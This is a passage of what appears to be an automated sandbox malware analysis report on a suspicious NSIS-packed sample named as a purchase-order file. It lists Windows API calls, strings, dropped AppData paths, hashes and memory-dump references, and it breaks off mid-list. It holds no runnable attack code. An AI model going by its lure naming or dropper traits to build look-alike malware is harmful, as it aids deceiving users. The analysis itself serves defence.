FindClose.KERNEL32(00000000), ref: 00405B25

Strings

\*.*, xrefs: 00405A37
brainpower\indbefattende.Cob, xrefs: 00405A25, 00405A2B, 00405A3C, 00405A75
"C:\Users\user\Desktop\PO 0309494059506060609696007.exe", xrefs: 004059CC
C:\Users\user\AppData\Local\Temp\, xrefs: 004059DA

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$brainpower\indbefattende.Cob
API String ID: 2035342205-645187239
Opcode ID: 6f8429c6ad7802af8bfcde45fc15bbabab868814cabb64775f30c171cc2975e6
Instruction ID: 87b7c1c15068e6398432f2de95375e915c3ae258b511550e47b187391169d043
Opcode Fuzzy Hash: 6f8429c6ad7802af8bfcde45fc15bbabab868814cabb64775f30c171cc2975e6
Instruction Fuzzy Hash: EE41E430900914BACB21AB618C89ABF7778EF45768F50427FF801B11D1D77CA982DE6E

Function 004065FD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00430298,C:\,00405CE0,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,004059EC,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00406608
FindClose.KERNEL32(00000000), ref: 00406614

Strings

C:\, xrefs: 004065FD

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: 09a722932e0a1bea88283b0440f714d8f88131f4b1bd488506181814d844a3ce
Instruction ID: 1ab566c2093321911261fd6ef708f8cedd572ce36bb67071c96f4f7979b88ecc
Opcode Fuzzy Hash: 09a722932e0a1bea88283b0440f714d8f88131f4b1bd488506181814d844a3ce
Instruction Fuzzy Hash: 3AD012315051205BC3401B386E0C85B7A599F55331B159F37F86AF51E0DB758C72869C

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085F0,?,00000001,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\sillinesses\Foiningly, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\sillinesses\Foiningly
API String ID: 542301482-3300392592
Opcode ID: 85fa777544762f8280052d3ed6c1060dd403dfe718f2971fff495873814e0497
Instruction ID: 47658dbbd12ee8008517b47355d5d9d52026a5fb35fba2bce99957a22e6c3eef
Opcode Fuzzy Hash: 85fa777544762f8280052d3ed6c1060dd403dfe718f2971fff495873814e0497
Instruction Fuzzy Hash: 8B414C71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E0DBB99981CB44

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 1d203f80b4415f0f6344281a2a9e2fd09f6dd1f95b509643d07a0f28621ba8c6
Instruction ID: 0cd4a400be5c1b2ce6ea5bbb35e8853c3f48bcc8ff45a2cab7902aaadd26400c
Opcode Fuzzy Hash: 1d203f80b4415f0f6344281a2a9e2fd09f6dd1f95b509643d07a0f28621ba8c6
Instruction Fuzzy Hash: C8F08271A14104EFDB00EBA4DA499ADB378EF04314F6045BBF515F21D1DBB45D409B29

Function 00403D58 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D94
ShowWindow.USER32(?), ref: 00403DB1
DestroyWindow.USER32 ref: 00403DC5
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DE1
GetDlgItem.USER32(?,?), ref: 00403E02
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403E16
IsWindowEnabled.USER32(00000000), ref: 00403E1D
GetDlgItem.USER32(?,00000001), ref: 00403ECB
GetDlgItem.USER32(?,00000002), ref: 00403ED5
SetClassLongW.USER32(?,000000F2,?), ref: 00403EEF
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F40
GetDlgItem.USER32(?,00000003), ref: 00403FE6
ShowWindow.USER32(00000000,?), ref: 00404007
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404019
EnableWindow.USER32(?,?), ref: 00404034
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040404A
EnableMenuItem.USER32(00000000), ref: 00404051
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404069
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040407C
lstrlenW.KERNEL32(0042D248,?,0042D248,00000000), ref: 004040A6
SetWindowTextW.USER32(?,0042D248), ref: 004040BA
ShowWindow.USER32(?,0000000A), ref: 004041EE

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 4e1ce740f07a43519fb41d0d7b5d1e349f1f17bbd9a29dd5407096d0de0a7573
Instruction ID: e03fc219ec92158800d4d40d681534e4389e9639ccb8e5563fa4604b390d03ca
Opcode Fuzzy Hash: 4e1ce740f07a43519fb41d0d7b5d1e349f1f17bbd9a29dd5407096d0de0a7573
Instruction Fuzzy Hash: 29C1D171600300ABDB216F61ED89E2B3AB8FB95746F04053EF641B51F0CB799982DB6D

Function 004039AA Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406694: GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
Part of subcall function 00406694: GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

lstrcatW.KERNEL32(1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",00000000), ref: 00403A2B
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\sillinesses,1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403AAB
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\sillinesses,1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000), ref: 00403ABE
GetFileAttributesW.KERNEL32(Call), ref: 00403AC9
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\sillinesses), ref: 00403B12

Part of subcall function 00406201: wsprintfW.USER32 ref: 0040620E

RegisterClassW.USER32(00433E80), ref: 00403B4F
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B67
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B9C
ShowWindow.USER32(00000005,00000000), ref: 00403BD2
GetClassInfoW.USER32(00000000,RichEdit20W,00433E80), ref: 00403BFE
GetClassInfoW.USER32(00000000,RichEdit,00433E80), ref: 00403C0B
RegisterClassW.USER32(00433E80), ref: 00403C14
DialogBoxParamW.USER32(?,00000000,00403D58,00000000), ref: 00403C33

Strings

RichEdit, xrefs: 00403C05
Control Panel\Desktop\ResourceLocale, xrefs: 004039DE
C:\Users\user\AppData\Local\Temp\, xrefs: 004039B6
Call, xrefs: 00403A72, 00403A7B, 00403A89, 00403AD8, 00403ADE
1033, xrefs: 004039CA, 00403A26
RichEd32, xrefs: 00403BE6
RichEdit20W, xrefs: 00403BF6, 00403BFC
_Nb, xrefs: 00403B2E, 00403B96
.exe, xrefs: 00403AB8
C:\Users\user\AppData\Local\sillinesses, xrefs: 00403A3A, 00403A42, 00403AE5, 00403AEB, 00403AFB
"C:\Users\user\Desktop\PO 0309494059506060609696007.exe", xrefs: 004039AE
RichEd20, xrefs: 00403BD8
.DEFAULT\Control Panel\International, xrefs: 00403A16

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\sillinesses$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-4110287722
Opcode ID: a0d7be8ede4e338908bb78720733716086b8107ecf3100ada8eb56b35bb25137
Instruction ID: 9f2b94ab3f1de80a41c8f53b965b22801f2352f665cd6d3f8e6571e1d6c0b700
Opcode Fuzzy Hash: a0d7be8ede4e338908bb78720733716086b8107ecf3100ada8eb56b35bb25137
Instruction Fuzzy Hash: D861B9312407007ED720AF659D46E2B3A6CEB85B4AF40057FF945B51E2CBBD9941CB2D

Function 00402EDD Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EEE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,00000400,?,00000006,00000008,0000000A), ref: 00402F0A

Part of subcall function 00405DB0: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
Part of subcall function 00405DB0: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,C:\Users\user\Desktop\PO 0309494059506060609696007.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F56

Strings

Inst, xrefs: 00402FC2
C:\Users\user\Desktop, xrefs: 00402F38, 00402F3D, 00402F43
C:\Users\user\Desktop\PO 0309494059506060609696007.exe, xrefs: 00402EF4, 00402F03, 00402F17, 00402F37
Null, xrefs: 00402FD4
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
"C:\Users\user\Desktop\PO 0309494059506060609696007.exe", xrefs: 00402EDD
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EE7
soft, xrefs: 00402FCB
Error launching installer, xrefs: 00402F2D

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PO 0309494059506060609696007.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PO 0309494059506060609696007.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2978476238
Opcode ID: 9da78bb69fdb731252d5033ab884fa182416324aee7ddcf9fc3f40609bcd7e9e
Instruction ID: dd9ea635540f9dffb1b2b479f8e1e5c18960c1b6140bd96a969558b27d112ec4
Opcode Fuzzy Hash: 9da78bb69fdb731252d5033ab884fa182416324aee7ddcf9fc3f40609bcd7e9e
Instruction Fuzzy Hash: C151F471901205ABDB20AF60DD85B9F7FA8FB0431AF15403BF910B62D5C7789E408BAD

Function 004062DC Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040641D
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,?,00405359,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000), ref: 00406430
SHGetSpecialFolderLocation.SHELL32(00405359,0041C000,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,?,00405359,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000), ref: 0040646C
SHGetPathFromIDListW.SHELL32(0041C000,Call), ref: 0040647A
CoTaskMemFree.OLE32(0041C000), ref: 00406485
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004064AB
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,?,00405359,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000), ref: 00406503

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004063ED
7y, xrefs: 004062E9
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004064A5
Call, xrefs: 00406306, 004063E1, 004063E8, 004063EC, 00406406, 00406407, 0040641C, 0040642F, 0040644B, 00406476, 004064AA, 004064B0, 004064CC, 004064DF, 004064FC, 00406502, 0040650E, 00406541
Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll, xrefs: 00406301

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: 7y$Call$Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-3695716558
Opcode ID: df6cdb4c1de4ea8ada6da54e9ab12c0970cafabfb890ab4206d2060bd1a8c1b5
Instruction ID: 29f0adb049bea166a756856afc1b7ff582c4fdfd81cc2e884c30b49282791dbd
Opcode Fuzzy Hash: df6cdb4c1de4ea8ada6da54e9ab12c0970cafabfb890ab4206d2060bd1a8c1b5
Instruction Fuzzy Hash: E6611071A00111ABDF209F54DC41AAE37A9EF45318F26803FE943BA2D0D77D9AA1C79D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\sillinesses\Foiningly,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\sillinesses\Foiningly,?,?,00000031), ref: 004017D5

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00000400,00403460,Undseeligheds17 Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

Part of subcall function 00405322: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
Part of subcall function 00405322: lstrlenW.KERNEL32(0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
Part of subcall function 00405322: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,0040327A,0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0), ref: 0040537D
Part of subcall function 00405322: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll), ref: 0040538F
Part of subcall function 00405322: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
Part of subcall function 00405322: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
Part of subcall function 00405322: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

Strings

C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\sillinesses\Foiningly, xrefs: 0040179E
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nst14AC.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
